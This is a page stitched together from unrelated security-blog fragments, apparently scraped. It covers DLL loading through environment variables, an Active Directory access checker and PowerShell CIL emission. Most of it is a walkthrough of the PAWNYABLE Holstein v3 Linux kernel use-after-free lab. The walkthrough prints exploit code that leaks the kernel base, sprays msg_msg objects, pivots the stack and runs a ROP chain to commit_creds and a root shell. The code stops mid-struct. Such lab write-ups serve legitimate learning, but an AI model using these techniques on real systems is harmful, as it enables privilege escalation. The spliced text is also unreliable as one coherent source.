There must be more cases of popular software using environmental variables to locate some of the shared libraries they load.
To perform such a search dynamically, all executables in the scope directory could be iterated through and executed multiple times, each time testing arbitrary values set to individual common environmental variables like %SystemRoot% or %WINDIR%. This alone would be a good approach for starters, but it would definitely not provide an exhaustive coverage - most of the places in code those load attempts happen are not reachable without hitting proper command lines, specific to each executable.
A more exhaustive, and but also demanding approach, would be static analysis of all PE files in the scope that simply indicate the usage of both LoadLibrary and GetEnv functions (e..g LoadLibraryExW() and _wgetenv(), as python3.10.exe does) in their import tables.
Access Checking Active Directory
Like many Windows related technologies Active Directory uses a security descriptor and the access check process to determine what access a user has to parts of the directory. Each object in the directory contains an nTSecurityDescriptor attribute which stores the binary representation of the security descriptor. When a user accesses the object through LDAP the remote user's token is used with the security descriptor to determine if they have the rights to perform the operation they're requesting.
Weak security descriptors is a common misconfiguration that could result in the entire domain being compromised. Therefore it's important for an administrator to be able to find and remediate security weaknesses. Unfortunately Microsoft doesn't provide a means for an administrator to audit the security of AD, at least in any default tool I know of. There is third-party tooling, such as Bloodhound, which will perform this analysis offline but from reading the implementation of the checking they don't tend to use the real access check APIs and so likely miss some misconfigurations.
I wrote my own access checker for AD which is included in my NtObjectManager PowerShell module. I've used it to find a few vulnerabilities, such as CVE-2021-34470 which was an issue with Exchange's changes to AD. This works "online", as in you need to have an active account in the domain to run it, however AFAIK it should provide the most accurate results if what you're interested in what access an specific user has to AD objects. While the command is available in the module it's perhaps not immediately obvious how to use it an interpret the result, therefore I decide I should write a quick blog post about it.
A Complex Process
- ACTRL_DS_CREATE_CHILD (CreateChild) - Create a new child object
- ACTRL_DS_DELETE_CHILD (DeleteChild) - Delete a child object
- ACTRL_DS_LIST (List) - Enumerate child objects
- ACTRL_DS_SELF (Self) - Grant a write-validated extended right
- ACTRL_DS_READ_PROP (ReadProp) - Read an attribute
- ACTRL_DS_WRITE_PROP (WriteProp) - Write an attribute
- ACTRL_DS_DELETE_TREE (DeleteTree) - Delete a tree of objects
- ACTRL_DS_LIST_OBJECT (ListObject) - List a tree of objects
- ACTRL_DS_CONTROL_ACCESS (ControlAccess) - Grant a control extended right
- The list of groups granted to a local user is unlikely to match what they're granted on the DC where the real access check takes place.
- AccessCheckByType only returns a single granted access value, if we have a lot of object types to test it'd be quick expensive to call 100s if not 1000s of times for a single security descriptor.
- Enumerate the user's group list for the DC from the AD. Local group assignments are stored in the directory's CN=Builtin container.
- Build an Authz security context with the group list.
- Read a directory object's security descriptor.
- Read the object's schema class and build a list of specific schema objects to check:
- All attributes from the class and its super, auxiliary and dynamic auxiliary classes.
- All allowable child object classes
- All assignable control, write-validated and property set extended rights.
Using Get-AccessibleDsObject and Interpreting the Results
- GrantedAccess - The granted access when only specifying the object's schema class during the check. If an access is granted at this level it'd apply to all values of that type, for example if WriteProp is granted then any attribute in the object can be written by the user.
- WritableAttributes - The list of attributes a user can modify.
- WritablePropertySets - The list of writable property sets a user can modify. Note that this is more for information purposes, the modifiable attributes will also be in the WritableAttributes property which is going to be easier to inspect.
- GrantedControl - The list of control extended rights granted to a user.
- GrantedWriteValidated - The list of write validated extended rights granted to a user.
- CreateableClasses - The list of child object classes that can be created.
- DeletableClasses - The list of child object classes that can be deleted.
- DistinguishedName - The full DN of the object.
- SecurityDescriptor - The security descriptor used for the check.
- TokenInfo - The user's information used in the check, such as the list of groups.
Understanding a New Mitigation: Module Tampering Protection
- Exploit Monday
- Simple CIL Opcode Execution in PowerShell using the DynamicMethod Class and Delegates
Simple CIL Opcode Execution in PowerShell using the DynamicMethod Class and Delegates
Common Intermediate Language Basics
IL_0000: Ldarg_0 // Loads the argument at index 0 onto the evaluation stack.
IL_0001: Ldarg_1 // Loads the argument at index 1 onto the evaluation stack.
IL_0002: Add // Adds two values and pushes the result onto the evaluation stack.
IL_0003: Ret // Returns from the current method, pushing a return value (if present) from the callee's evaluation stack onto the caller's evaluation stack.
Per Microsoft documentation, “integer addition wraps, rather than saturates” when using the Add instruction. This is the behavior I was after in the first place. Now let’s learn how to build a method in PowerShell that uses these opcodes.
Dynamic Methods
$MethodInfo = New-Object Reflection.Emit.DynamicMethod('UInt32Add', [UInt32], @([UInt32], [UInt32]))
$ILGen = $MethodInfo.GetILGenerator()
$ILGen.Emit([Reflection.Emit.OpCodes]::Ldarg_0)
$ILGen.Emit([Reflection.Emit.OpCodes]::Ldarg_1)
$ILGen.Emit([Reflection.Emit.OpCodes]::Add)
$ILGen.Emit([Reflection.Emit.OpCodes]::Ret)
$Delegate = [Func``3[UInt32, UInt32, UInt32]]
$UInt32Add = $MethodInfo.CreateDelegate($Delegate)
$UInt32Add.Invoke([UInt32]::MaxValue, 2)
Here is the code in its entirety:
For additional information regarding the techniques I described, I encourage you to read the following articles:
Introduction to IL Assembly Language
Reflection Emit Dynamic Method Scenarios
How to: Define and Execute Dynamic Methods
Reverse Engineering InternalCall Methods in .NET
IRQLs Close Encounters of the Rootkit Kind
Bypassing Intel CET with Counterfeit Objects
PAWNYABLE UAF Walkthrough (Holstein v3)
Introduction
I’ve been wanting to learn Linux Kernel exploitation for some time and a couple months ago @ptrYudai from @zer0pts tweeted that they released the beta version of their website PAWNYABLE!, which is a “resource for middle to advanced learners to study Binary Exploitation”. The first section on the website with material already ready is “Linux Kernel”, so this was a perfect place to start learning.
The author does a great job explaining everything you need to know to get started, things like: setting up a debugging environment, CTF-specific tips, modern kernel exploitation mitigations, using QEMU, manipulating images, per-CPU slab caches, etc, so this blogpost will focus exclusively on my experience with the challenge and the way I decided to solve it. I’m going to try and limit redundant information within this blogpost so if you have any questions, it’s best to consult PAWNYABLE and the other linked resources.
What I Started With
PAWNYABLE ended up being a great way for me to start learning about Linux Kernel exploitation, mainly because I didn’t have to spend any time getting up to speed on a kernel subsystem in order to start wading into the exploitation metagame. For instance, if you are the type of person who learns by doing, and you’re first attempt at learning about this stuff was to write your own exploit for CVE-2022-32250, you would first have to spend a considerable amount of time learning about Netfilter. Instead, PAWNYABLE gives you a straightforward example of a vulnerability in one of a handful of bug-classes, and then gets to work showing you how you could exploit it. I think this strategy is great for beginners like me. It’s worth noting that after having spent some time with PAWNYABLE, I have been able to write some exploits for real world bugs similar to CVE-2022-32250, so my strategy did prove to be fruitful (at least for me).
I’ve been doing low-level binary stuff (mostly on Linux) for the past 3 years. Initially I was very interested in learning binary exploitation but starting gravitating towards vulnerability discovery and fuzzing. Fuzzing has captivated me since early 2020, and developing my own fuzzing frameworks actually lead to me working as a full time software developer for the last couple of years. So after going pretty deep with fuzzing (objectively not that deep as it relates to the entire fuzzing space, but deep for the uninitiated) , I wanted to circle back and learn at least some aspect of binary exploitation that applied to modern targets.
The Linux Kernel, as a target, seemed like a happy marriage between multiple things: it’s relatively easy to write exploits for due to a lack of mitigations, exploitable bugs and their resulting exploits have a wide and high impact, and there are active bounty systems/programs for Linux Kernel exploits. As a quick side-note, there have been some tremendous strides made in the world of Linux Kernel fuzzing in the last few years so I knew that specializing in this space would allow me to get up to speed on those approaches/tools.
So coming into this, I had a pretty good foundation of basic binary exploitation (mostly dated Windows and Linux userland stuff), a few years of C development (to include a few Linux Kernel modules), and some reverse engineering skills.
What I Did
To get started, I read through the following PAWNYABLE sections (section names have been Google translated to English):
- Introduction to kernel exploits
- kernel debugging with gdb
- security mechanism (Overview of Exploitation Mitigations)
- Compile and transfer exploits (working with the kernel image)
This was great as a starting point because everything is so well organized you don’t have to spend time setting up your environment, its basically just copy pasting a few commands and you’re off and remotely debugging a kernel via GDB (with GEF even).
Next, I started working on the first challenge which is a stack-based buffer overflow vulnerability in Holstein v1. This is a great starting place because right away you get control of the instruction pointer and from there, you’re learning about things like the way CTF players (and security researchers) often leverage kernel code execution to escalate privileges like prepare_kernel_creds
and commit_creds
.
You can write an exploit that bypasses mitigations or not, it’s up to you. I started slowly and wrote an exploit with no mitigations enabled, then slowly turned the mitigations up and changed the exploit as needed.
After that, I started working on a popular Linux kernel pwn challenge called “kernel-rop” from hxpCTF 2020. I followed along and worked alongside the following blogposts from @_lkmidas:
- Learning Kernel Exploitation - Part 1
- Learning Kernel Exploitation - Part 2
- Learning Kernel Exploitation - Part 3
This was great because it gave me a chance to reinforce everything I had learned from the PAWNYABLE stack buffer overflow challenge and also I learned a few new things. I also used (https://0x434b.dev/dabbling-with-linux-kernel-exploitation-ctf-challenges-to-learn-the-ropes/) to supplement some of the information.
As a bonus, I also wrote a version of the exploit that utilized a different technique to elevate privileges: overwriting modprobe_path
.
After all this, I felt like I had a good enough base to get started on the UAF challenge.
UAF Challenge: Holstein v3
Some quick vulnerability analysis on the vulnerable driver provided by the author states the problem clearly.
char *g_buf = NULL;
static int module_open(struct inode *inode, struct file *file)
{
printk(KERN_INFO "module_open called\n");
g_buf = kzalloc(BUFFER_SIZE, GFP_KERNEL);
if (!g_buf) {
printk(KERN_INFO "kmalloc failed");
return -ENOMEM;
}
return 0;
}
When we open the kernel driver, char *g_buf
gets assigned the result of a call to kzalloc()
.
static int module_close(struct inode *inode, struct file *file)
{
printk(KERN_INFO "module_close called\n");
kfree(g_buf);
return 0;
}
When we close the kernel driver, g_buf
is freed. As the author explains, this is a buggy code pattern since we can open multiple handles to the driver from within our program. Something like this can occur.
- We’ve done nothing,
g_buf = NULL
- We’ve opened the driver,
g_buf = 0xffff...a0
, and we havefd1
in our program - We’ve opened the driver a second time,
g_buf = 0xffff...b0
. The original value of0xffff...a0
has been overwritten. It can no longer be freed and would cause a memory leak (not super important). We now havefd2
in our program - We close
fd1
which callskfree()
on0xffff...b0
and frees the same pointer we have a reference to withfd2
.
At this point, via our access to fd2
, we have a use after free since we can still potentially use a freed reference to g_buf
. The module also allows us to use the open file descriptor with read and write methods.
static ssize_t module_read(struct file *file,
char __user *buf, size_t count,
loff_t *f_pos)
{
printk(KERN_INFO "module_read called\n");
if (count > BUFFER_SIZE) {
printk(KERN_INFO "invalid buffer size\n");
return -EINVAL;
}
if (copy_to_user(buf, g_buf, count)) {
printk(KERN_INFO "copy_to_user failed\n");
return -EINVAL;
}
return count;
}
static ssize_t module_write(struct file *file,
const char __user *buf, size_t count,
loff_t *f_pos)
{
printk(KERN_INFO "module_write called\n");
if (count > BUFFER_SIZE) {
printk(KERN_INFO "invalid buffer size\n");
return -EINVAL;
}
if (copy_from_user(g_buf, buf, count)) {
printk(KERN_INFO "copy_from_user failed\n");
return -EINVAL;
}
return count;
}
So with these methods, we are able to read and write to our freed object. This is great for us since we’re free to pretty much do anything we want. We are limited somewhat by the object size which is hardcoded in the code to 0x400
.
At a high-level, UAFs are generally exploited by creating the UAF condition, so we have a reference to a freed object within our control, and then we want to cause the allocation of a different object to fill the space that was previously filled by our freed object.
So if we allocated a g_buf
of size 0x400
and then freed it, we need to place another object in its place. This new object would then be the target of our reads and writes.
KASLR Bypass
The first thing we need to do is bypass KASLR by leaking some address that is a known static offset from the kernel image base. I started searching for objects that have leakable members and again, @ptrYudai came to the rescue with a catalog on useful Linux Kernel data structures for exploitation. This lead me to the tty_struct
which is allocated on the same slab cache as our 0x400
buffer, the kmalloc-1024
. The tty_struct
has a field called tty_operations
which is a pointer to a function table that is a static offset from the kernel base. So if we can leak the address of tty_operations
we will have bypassed KASLR. This struct was used by NCCGROUP for the same purpose in their exploit of CVE-2022-32250.
It’s important to note that slab cache that we’re targeting is per-CPU. Luckily, the VM we’re given for the challenge only has one logical core so we don’t have to worry about CPU affinity for this exercise. On most systems with more than one core, we would have to worry about influencing one specific CPU’s cache.
So with our module_read
ability, we will simply:
- Free
g_buf
- Create
dev_tty
structs until one hopefully fills the freed space whereg_buf
used to live - Call
module_read
to get a copy of theg_buf
which is now actually ourdev_tty
and then inspect the value oftty_struct->tty_operations
.
Here are some snippets of code related to that from the exploit:
// Leak a tty_struct->ops field which is constant offset from kernel base
uint64_t leak_ops(int fd) {
if (fd < 0) {
err("Bad fd given to `leak_ops()`");
}
/* tty_struct {
int magic; // 4 bytes
struct kref; // 4 bytes (single member is an int refcount_t)
struct device *dev; // 8 bytes
struct tty_driver *driver; // 8 bytes
const struct tty_operations *ops; (offset 24 (or 0x18))
...
} */
// Read first 32 bytes of the structure
unsigned char *ops_buf = calloc(1, 32);
if (!ops_buf) {
err("Failed to allocate ops_buf");
}
ssize_t bytes_read = read(fd, ops_buf, 32);
if (bytes_read != (ssize_t)32) {
err("Failed to read enough bytes from fd: %d", fd);
}
uint64_t ops = *(uint64_t *)&ops_buf[24];
info("tty_struct->ops: 0x%lx", ops);
// Solve for kernel base, keep the last 12 bits
uint64_t test = ops & 0b111111111111;
// These magic compares are for static offsets on this kernel
if (test == 0xb40ULL) {
return ops - 0xc39b40ULL;
}
else if (test == 0xc60ULL) {
return ops - 0xc39c60ULL;
}
else {
err("Got an unexpected tty_struct->ops ptr");
}
}
There’s a confusing part about AND
ing off the lower 12 bits of the leaked value and that’s because I kept getting one of two values during multiple runs of the exploit within the same boot. This is probably because there’s two kinds of tty_structs
that can be allocated and they are allocated in pairs. This if
else if
block just handles both cases and solves the kernel base for us. So at this point we have bypassed KASLR because we know the base address the kernel is loaded at.
RIP Control
Next, we need someway to high-jack execution. Luckily, we can use the same data structure, tty_struct
as we can write to the object using module_write
and we can overwrite the pointer value for tty_struct->ops
.
struct tty_operations
is a table of function pointers, and looks like this:
struct tty_struct * (*lookup)(struct tty_driver *driver,
struct file *filp, int idx);
int (*install)(struct tty_driver *driver, struct tty_struct *tty);
void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
int (*open)(struct tty_struct * tty, struct file * filp);
void (*close)(struct tty_struct * tty, struct file * filp);
void (*shutdown)(struct tty_struct *tty);
void (*cleanup)(struct tty_struct *tty);
int (*write)(struct tty_struct * tty,
const unsigned char *buf, int count);
int (*put_char)(struct tty_struct *tty, unsigned char ch);
void (*flush_chars)(struct tty_struct *tty);
unsigned int (*write_room)(struct tty_struct *tty);
unsigned int (*chars_in_buffer)(struct tty_struct *tty);
int (*ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
...SNIP...
These functions are invoked on the tty_struct
when certain actions are performed on an instance of a tty_struct
. For example, when the tty_struct
’s controlling process exits, several of these functions are called in a row: close()
, shutdown()
, and cleanup()
.
So our plan, will be to:
- Create UAF condition
- Occupy free’d memory with
tty_struct
- Read a copy of the
tty_struct
back to us in userland - Alter the
tty->ops
value to point to a faked function table that we control - Write the new data back to the
tty_struct
which is now corrupted - Do something to the
tty_struct
that causes a function we control to be invoked
PAWNYABLE tells us that a popular target is invoking ioctl()
as the function takes several arguments which are user-controlled.
int (*ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
From userland, we can supply the values for cmd
and arg
. This gives us some flexibility. The value we can provide for cmd
is somewhat limited as an unsigned int
is only 4 bytes. arg
gives us a full 8 bytes of control over RDX
. Since we can control the contents of RDX
whenever we invoke ioctl()
, we need to find a gadget to pivot the stack to some code in the kernel heap that we can control. I found such a gadget here:
0x14fbea: push rdx; xor eax, 0x415b004f; pop rsp; pop rbp; ret;
We will push a value from RDX
onto the stack, and then later pop that value into RSP
. When ioctl()
returns, we will return to whatever value we called ioctl()
with in arg
. So the control flow will go something like:
- Invoke
ioctl()
on our corruptedtty_struct
ioctl()
has been overwritten by a stack-pivot gadget that places the location of our ROP chain intoRSP
ioctl()
returns execution to our ROP chain
So now we have a new problem, how do we create a fake function table and ROP chain in the kernel heap AND figure out where we stored them?
Creating/Locating a ROP Chain and Fake Function Table
This is where I started to diverge from the author’s exploitation strategy. I couldn’t quite follow along with the intended solution for this problem, so I began searching for other ways. With our extremely powerful read capability in mind, I remembered the msg_msg
struct from @ptrYudai’s aforementioned structure catalog, and realized that the structure was perfect for our purposes as it:
- Stores arbitrary data inline in the structure body (not via a pointer to the heap)
- Contains a linked-list member that contains the addresses to
prev
andnext
messages within the same kernel message queue
So quickly, a strategy began to form. We could:
- Create our ROP chain and Fake Function table in a buffe
- Send the buffer as the body of a
msg_msg
struct - Use our
module_read
capability to read themsg_msg->list.next
andmsg_msg->list.prev
values to know where in the heap at least two of our messages were stored
With this ability, we would know exactly what address to supply as an argument to ioctl()
when we invoke it in order to pivot the stack into our ROP chain. Here is some code related to that from the exploit:
// Allocate one msg_msg on the heap
size_t send_message() {
// Calcuate current queue
if (num_queue < 1) {
err("`send_message()` called with no message queues");
}
int curr_q = msg_queue[num_queue - 1];
// Send message
size_t fails = 0;
struct msgbuf {
long mtype;
char mtext[MSG_SZ];
} msg;
// Unique identifier we can use
msg.mtype = 0x1337;
// Construct the ROP chain
memset(msg.mtext, 0, MSG_SZ);
// Pattern for offsets (debugging)
uint64_t base = 0x41;
uint64_t *curr = (uint64_t *)&msg.mtext[0];
for (size_t i = 0; i < 25; i++) {
uint64_t fill = base << 56;
fill |= base << 48;
fill |= base << 40;
fill |= base << 32;
fill |= base << 24;
fill |= base << 16;
fill |= base << 8;
fill |= base;
*curr++ = fill;
base++;
}
// ROP chain
uint64_t *rop = (uint64_t *)&msg.mtext[0];
*rop++ = pop_rdi;
*rop++ = 0x0;
*rop++ = prepare_kernel_cred; // RAX now holds ptr to new creds
*rop++ = xchg_rdi_rax; // Place creds into RDI
*rop++ = commit_creds; // Now we have super powers
*rop++ = kpti_tramp;
*rop++ = 0x0; // pop rax inside kpti_tramp
*rop++ = 0x0; // pop rdi inside kpti_tramp
*rop++ = (uint64_t)pop_shell; // Return here
*rop++ = user_cs;
*rop++ = user_rflags;
*rop++ = user_sp;
*rop = user_ss;
/* struct tty_operations {
struct tty_struct * (*lookup)(struct tty_driver *driver,
struct file *filp, int idx);
int (*install)(struct tty_driver *driver, struct tty_struct *tty);
void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
int (*open)(struct tty_struct * tty, struct file * filp);
void (*close)(struct tty_struct * tty, struct file * filp);
void (*shutdown)(struct tty_struct *tty);
void (*cleanup)(struct tty_struct *tty);
int (*write)(struct tty_struct * tty,
const unsigned char *buf, int count);
int (*put_char)(struct tty_struct *tty, unsigned char ch);
void (*flush_chars)(struct tty_struct *tty);
unsigned int (*write_room)(struct tty_struct *tty);
unsigned int (*chars_in_buffer)(struct tty_struct *tty);
int (*ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
...
} */
// Populate the 12 function pointers in the table that we have created.
// There are 3 handlers that are invoked for allocated tty_structs when
// their controlling process exits, they are close(), shutdown(),
// and cleanup(). We have to overwrite these pointers for when we exit our
// exploit process or else the kernel will panic with a RIP of
// 0xdeadbeefdeadbeef. We overwrite them with a simple ret gadget
uint64_t *func_table = (uint64_t *)&msg.mtext[rop_len];
for (size_t i = 0; i < 12; i++) {
// If i == 4, we're on the close() handler, set to ret gadget
if (i == 4) { *func_table++ = ret; continue; }
// If i == 5, we're on the shutdown() handler, set to ret gadget
if (i == 5) { *func_table++ = ret; continue; }
// If i == 6, we're on the cleanup() handler, set to ret gadget
if (i == 6) { *func_table++ = ret; continue; }
// Magic value for debugging
*func_table++ = 0xdeadbeefdeadbe00 + i;
}
// Put our gadget address as the ioctl() handler to pivot stack
*func_table = push_rdx;
// Spray msg_msg's on the heap
if (msgsnd(curr_q, &msg, MSG_SZ, IPC_NOWAIT) == -1) {
fails++;
}
return fails;
}
I got a bit wordy with the comments in this block, but it’s for good reason. I didn’t want the exploit to ruin the kernel state, I wanted to exit cleanly. This presented a problem as we are completely hi-jacking the ops
function table which the kernel will use to cleanup our tty_struct
. So I found a gadget that simply performs a ret
operation, and overwrote the function pointers for close()
, shutdown()
, and cleanup()
so that when they are invoked, they simply return and the kernel is apparently fine with this and doesn’t panic.
So our message body looks something like: <—-ROP—-Faked Function Table—->
Here is the code I used to overwrite the tty_struct->ops
pointer:
void overwrite_ops(int fd) {
unsigned char g_buf[GBUF_SZ] = { 0 };
ssize_t bytes_read = read(fd, g_buf, GBUF_SZ);
if (bytes_read != (ssize_t)GBUF_SZ) {
err("Failed to read enough bytes from fd: %d", fd);
}
// Overwrite the tty_struct->ops pointer with ROP address
*(uint64_t *)&g_buf[24] = fake_table;
ssize_t bytes_written = write(fd, g_buf, GBUF_SZ);
if (bytes_written != (ssize_t)GBUF_SZ) {
err("Failed to write enough bytes to fd: %d", fd);
}
}
So now that we know where our ROP chain is, and where our faked function table is, and we have the perfect stack pivot gadget, the rest of this process is simply building a real ROP chain which I will leave out of this post.
As a first timer, this tiny bit of creativity to leverage the read ability to leak the addresses of msg_msg
structs was enough to get me hooked. Here is a picture of the exploit in action:
Miscellaneous
There were some things I tried to do to increase the exploit’s reliability.
One was to check the magic value in the leaked tty_structs
to make sure a tty_struct
had actually filled our freed memory and not another object. This is extremely convenient! All tty_structs
have 0x5401
at tty->magic
.
Another thing I did was spray msg_msg
structs with an easily recognizable message type of 0x1337
. This way when leaked, I could easily verify I was in fact leaking msg_msg
contents and not some other arbitrary data structure. Another thing you could do would be to make sure supposed kernel addresses start with 0xffff
.
Finally, there was the patching of the clean-up-related function pointers in tty->ops
.
Further Reading
There are lots of challenges besides the UAF one on PAWNYABLE, please go check them out. One of the primary reasons I wrote this was to get the author’s project more visitors and beneficiaries. It has made a big difference for me and in the almost month since I finished this challenge, I have learned a ton. Special thanks to @chompie1337 for letting me complain and giving me helpful advice/resources.
Some awesome blogposts I read throughout the learning process up to this point include:
- https://www.graplsecurity.com/post/iou-ring-exploiting-the-linux-kernel
- https://a13xp0p0v.github.io/2021/02/09/CVE-2021-26708.html
- https://ruia-ruia.github.io/2022/08/05/CVE-2022-29582-io-uring/
- https://google.github.io/security-research/pocs/linux/cve-2021-22555/writeup.html
Exploit Code
// One liner to add exploit to filesystem
// gcc exploit.c -o exploit -static && cp exploit rootfs && cd rootfs && find . -print0 | cpio -o --format=newc --null --owner=root > ../rootfs.cpio && cd ../
#include <stdio.h> /* printf */
#include <sys/types.h> /* open */
#include <sys/stat.h> /* open */
#include <fcntl.h> /* open */
#include <stdlib.h> /* exit */
#include <stdint.h> /* int_t's */
#include <unistd.h> /* getuid */
#include <string.h> /* memset */
#include <sys/ipc.h> /* msg_msg */
#include <sys/msg.h> /* msg_msg */
#include <sys/ioctl.h> /* ioctl */
#include <stdarg.h> /* va_args */
#include <stdbool.h> /* true, false */
#define DEV "/dev/holstein"
#define PTMX "/dev/ptmx"
#define PTMX_SPRAY (size_t)50 // Number of terminals to allocate
#define MSG_SPRAY (size_t)32 // Number of msg_msg's per queue
#define NUM_QUEUE (size_t)4 // Number of msg queues
#define MSG_SZ (size_t)512 // Size of each msg_msg, modulo 8 == 0
#define GBUF_SZ (size_t)0x400 // Size of g_buf in driver
// User state globals
uint64_t user_cs;
uint64_t user_ss;
uint64_t user_rflags;
uint64_t user_sp;
// Mutable globals, when in Rome
uint64_t base;
uint64_t rop_addr;
uint64_t fake_table;
uint64_t ioctl_ptr;
int open_ptmx[PTMX_SPRAY] = { 0 }; // Store fds for clean up/ioctl()
int num_ptmx = 0; // Number of open fds
int msg_queue[NUM_QUEUE] = { 0 }; // Initialized message queues
int num_queue = 0;
// Misc constants.
const uint64_t rop_len = 200;
const uint64_t ioctl_off = 12 * sizeof(uint64_t);
// Gadgets
// 0x723c0: commit_creds
uint64_t commit_creds;
// 0x72560: prepare_kernel_cred
uint64_t prepare_kernel_cred;
// 0x800e10: swapgs_restore_regs_and_return_to_usermode
uint64_t kpti_tramp;
// 0x14fbea: push rdx; xor eax, 0x415b004f; pop rsp; pop rbp; ret; (stack pivot)
uint64_t push_rdx;
// 0x35738d: pop rdi; ret;
uint64_t pop_rdi;
// 0x487980: xchg rdi, rax; sar bh, 0x89; ret;
uint64_t xchg_rdi_rax;
// 0x32afea: ret;
uint64_t ret;
void err(const char* format, ...) {
if (!format) {
exit(-1);
}
fprintf(stderr, "%s", "[!] ");
va_list args;
va_start(args, format);
vfprintf(stderr, format, args);
va_end(args);
fprintf(stderr, "%s", "\n");
exit(-1);
}
void info(const char* format, ...) {
if (!format) {
return;
}
fprintf(stderr, "%s", "[*] ");
va_list args;
va_start(args, format);
vfprintf(stderr, format, args);
va_end(args);
fprintf(stderr, "%s", "\n");
}
void save_state(void) {
__asm__(
".intel_syntax noprefix;"
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
// Push CPU flags onto stack
"pushf;"
// Pop CPU flags into var
"pop user_rflags;"
".att_syntax;"
);
}
// Should spawn a root shell
void pop_shell(void) {
uid_t uid = getuid();
if (uid != 0) {
err("We are not root, wtf?");
}
info("We got root, spawning shell!");
system("/bin/sh");
exit(0);
}
// Open a char device, just exit on error, this is exploit code
int open_device(char *dev, int flags) {
int fd = -1;
if (!dev) {
err("NULL ptr given to `open_device()`");
}
fd = open(dev, flags);
if (fd < 0) {
err("Failed to open '%s'", dev);
}
return fd;
}
// Spray kmalloc-1024 sized '/dev/ptmx' structures on the kernel heap
void alloc_ptmx() {
int fd = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
if (fd < 0) {
err("Failed to open /dev/ptmx");
}
open_ptmx[num_ptmx] = fd;
num_ptmx++;
}
// Check to see if we have a reference to a tty_struct by reading in the magic
// number for the current allocation in our slab
bool found_ptmx(int fd) {
unsigned char magic_buf[4];
if (fd < 0) {
err("Bad fd given to `found_ptmx()`\n");
}
ssize_t bytes_read = read(fd, magic_buf, 4);
if (bytes_read != (ssize_t)bytes_read) {
err("Failed to read enough bytes from fd: %d", fd);
}
if (*(int32_t *)magic_buf != 0x5401) {
return false;
}
return true;
}
// Leak a tty_struct->ops field which is constant offset from kernel base
uint64_t leak_ops(int fd) {
if (fd < 0) {
err("Bad fd given to `leak_ops()`");
}
/* tty_struct {
int magic; // 4 bytes
struct kref; // 4 bytes (single member is an int refcount_t)
struct device *dev; // 8 bytes
struct tty_driver *driver; // 8 bytes
const struct tty_operations *ops; (offset 24 (or 0x18))
...
} */
// Read first 32 bytes of the structure
unsigned char *ops_buf = calloc(1, 32);
if (!ops_buf) {
err("Failed to allocate ops_buf");
}
ssize_t bytes_read = read(fd, ops_buf, 32);
if (bytes_read != (ssize_t)32) {
err("Failed to read enough bytes from fd: %d", fd);
}
uint64_t ops = *(uint64_t *)&ops_buf[24];
info("tty_struct->ops: 0x%lx", ops);
// Solve for kernel base, keep the last 12 bits
uint64_t test = ops & 0b111111111111;
// These magic compares are for static offsets on this kernel
if (test == 0xb40ULL) {
return ops - 0xc39b40ULL;
}
else if (test == 0xc60ULL) {
return ops - 0xc39c60ULL;
}
else {
err("Got an unexpected tty_struct->ops ptr");
}
}
void solve_gadgets(void) {
// 0x723c0: commit_creds
commit_creds = base + 0x723c0ULL;
printf(" >> commit_creds located @ 0x%lx\n", commit_creds);
// 0x72560: prepare_kernel_cred
prepare_kernel_cred = base + 0x72560ULL;
printf(" >> prepare_kernel_cred located @ 0x%lx\n", prepare_kernel_cred);
// 0x800e10: swapgs_restore_regs_and_return_to_usermode
kpti_tramp = base + 0x800e10ULL + 22; // 22 offset, avoid pops
printf(" >> kpti_tramp located @ 0x%lx\n", kpti_tramp);
// 0x14fbea: push rdx; xor eax, 0x415b004f; pop rsp; pop rbp; ret;
push_rdx = base + 0x14fbeaULL;
printf(" >> push_rdx located @ 0x%lx\n", push_rdx);
// 0x35738d: pop rdi; ret;
pop_rdi = base + 0x35738dULL;
printf(" >> pop_rdi located @ 0x%lx\n", pop_rdi);
// 0x487980: xchg rdi, rax; sar bh, 0x89; ret;
xchg_rdi_rax = base + 0x487980ULL;
printf(" >> xchg_rdi_rax located @ 0x%lx\n", xchg_rdi_rax);
// 0x32afea: ret;
ret = base + 0x32afeaULL;
printf(" >> ret located @ 0x%lx\n", ret);
}
// Initialize a kernel message queue
int init_msg_q(void) {
int msg_qid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
if (msg_qid == -1) {
err("`msgget()` failed to initialize queue");
}
msg_queue[num_queue] = msg_qid;
num_queue++;
}
// Allocate one msg_msg on the heap
size_t send_message() {
// Calcuate current queue
if (num_queue < 1) {
err("`send_message()` called with no message queues");
}
int curr_q = msg_queue[num_queue - 1];
// Send message
size_t fails = 0;
struct msgbuf {
long mtype;
char mtext[MSG_SZ];
} msg;
// Unique identifier we can use
msg.mtype = 0x1337;
// Construct the ROP chain
memset(msg.mtext, 0, MSG_SZ);
// Pattern for offsets (debugging)
uint64_t base = 0x41;
uint64_t *curr = (uint64_t *)&msg.mtext[0];
for (size_t i = 0; i < 25; i++) {
uint64_t fill = base << 56;
fill |= base << 48;
fill |= base << 40;
fill |= base << 32;
fill |= base << 24;
fill |= base << 16;
fill |= base << 8;
fill |= base;
*curr++ = fill;
base++;
}
// ROP chain
uint64_t *rop = (uint64_t *)&msg.mtext[0];
*rop++ = pop_rdi;
*rop++ = 0x0;
*rop++ = prepare_kernel_cred; // RAX now holds ptr to new creds
*rop++ = xchg_rdi_rax; // Place creds into RDI
*rop++ = commit_creds; // Now we have super powers
*rop++ = kpti_tramp;
*rop++ = 0x0; // pop rax inside kpti_tramp
*rop++ = 0x0; // pop rdi inside kpti_tramp
*rop++ = (uint64_t)pop_shell; // Return here
*rop++ = user_cs;
*rop++ = user_rflags;
*rop++ = user_sp;
*rop = user_ss;
/* struct tty_operations {
struct tty_struct * (*lookup)(struct tty_driver *driver,
struct file *filp, int idx);
int (*install)(struct tty_driver *driver, struct tty_struct *tty);
void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
int (*open)(struct tty_struct * tty, struct file * filp);
void (*close)(struct tty_struct * tty, struct file * filp);
void (*shutdown)(struct tty_struct *tty);
void (*cleanup)(struct tty_struct *tty);
int (*write)(struct tty_struct * tty,
const unsigned char *buf, int count);
int (*put_char)(struct tty_struct *tty, unsigned char ch);
void (*flush_chars)(struct tty_struct *tty);
unsigned int (*write_room)(struct tty_struct *tty);
unsigned int (*chars_in_buffer)(struct tty_struct *tty);
